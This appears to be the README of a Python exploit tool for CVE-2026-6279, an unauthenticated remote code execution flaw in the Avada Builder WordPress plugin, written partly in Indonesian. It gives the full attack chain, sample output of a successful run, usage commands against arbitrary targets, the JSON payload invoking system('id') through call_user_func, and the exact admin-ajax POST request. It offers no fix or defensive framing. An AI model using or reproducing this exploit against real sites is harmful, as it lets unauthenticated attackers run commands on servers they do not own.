1. Nonce Deterministik    wp_create_nonce('fusion_load_nonce') untuk UID 0
                          (terekspos di halaman depan dengan shortcode Avada)

2. AJAX Unauthenticated   wp_ajax_nopriv_fusion_get_widget_markup
                          (tidak memerlukan login)

3. Deserialisasi          base64_decode(render_logics) → json_decode()
                          (tidak ada validasi struktur)

4. call_user_func()       call_user_func($value['function'], $value['args'])
                          (TANPA allowlist — fungsi PHP apapun bisa dipanggil)

5. RCE!                   system("id") → uid=... di response body

  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 315.2                    ║
  ║  Unauthenticated RCE via call_user_func()                    ║
  ║  Proof of Concept — Single Target                            ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Thanks: Shadow Girlfriend 💜                                ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  Target : localhost:8888
  Waktu  : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] Mendeteksi target...
  [+] Avada terdeteksi! (http://localhost:8888)

  [*] Mencari nonce fusion_load_nonce...
  [+] Nonce ditemukan: b6d7b084c2 (sumber: homepage)

  [*] Mengirim payload RCE...
  [*] Mencoba 5 fungsi × 3 widget = 15 kombinasi

  ══════════════════════════════════════════════════════
  [★] RCE BERHASIL!

  Target  : http://localhost:8888
  Output  : uid=1000(xenon1337)
  Fungsi  : system()
  Widget  : WP_Widget_Recent_Posts
  Nonce   : b6d7b084c2 (homepage)
  Waktu   : 1.2s

  [✓] Hasil disimpan ke vuln.txt
  ══════════════════════════════════════════════════════

# Tanpa protokol (auto-detect)
python3 CVE-2026-6279.py target.com

# Dengan protokol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# Dengan port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts